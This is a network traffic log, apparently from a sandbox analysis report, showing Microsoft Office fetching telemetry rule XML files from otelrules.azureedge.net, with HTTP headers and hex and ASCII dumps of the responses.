2024-10-11 18:30:17 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	59054	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:17 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:17 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:17 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 03826138-301e-0033-0528-1afa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183017Z-1597f6968445mkrl9xam3u5yc000000003ug00000000h079 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:17 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	59062	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:18 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:18 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 7ee78019-a01e-0002-6d9c-1b5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183018Z-r154656d9bcp74cth8ay97rud4000000019g00000000mq97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	59060	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:18 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:18 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: c11e9d40-601e-003d-3236-1a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183018Z-1597f696844nzckq75sv4z36ng00000002eg0000000189tk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	59061	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:18 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:18 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 47bad248-d01e-0014-2e9c-1bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183018Z-1597f696844jcvgbhxyvubykh400000000qg00000000abgv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	59059	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:18 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:18 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:18 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 52a2c53c-c01e-0079-64ac-1be51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183018Z-1597f696844lq27kahy39f1g9800000002v00000000003bg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:18 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	59063	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:18 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:18 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 04eed431-801e-00a3-10a3-1b7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183018Z-r154656d9bc9b22p5yc1zg6euw00000002r0000000019rz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	59064	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:19 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:20 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: d1a23a3b-201e-0085-4ca2-1b34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183019Z-1597f6968444v2bb9vg1k11dcs00000002qg00000000s8fc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:20 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	59065	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:19 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:20 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: b346cf95-401e-0047-4db6-1b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183019Z-r154656d9bcw8wfsu93rvvbgpc00000001g000000000dq0b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:20 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	59066	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:19 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:20 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:19 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: c3b40bb5-401e-0029-34de-1b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183019Z-1597f6968447j5lf3znmew1ya000000002ag00000000u67n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:20 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	59067	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:19 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:20 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 780d49b4-501e-007b-4ca3-1b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183019Z-r154656d9bcp2td5zh846myygg0000000yh0000000007e7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:20 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	59068	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:19 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:20 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: f6f11fce-501e-0029-52ad-1bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183019Z-r154656d9bc6kzfwvnn9vvz3c40000000c50000000004brc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
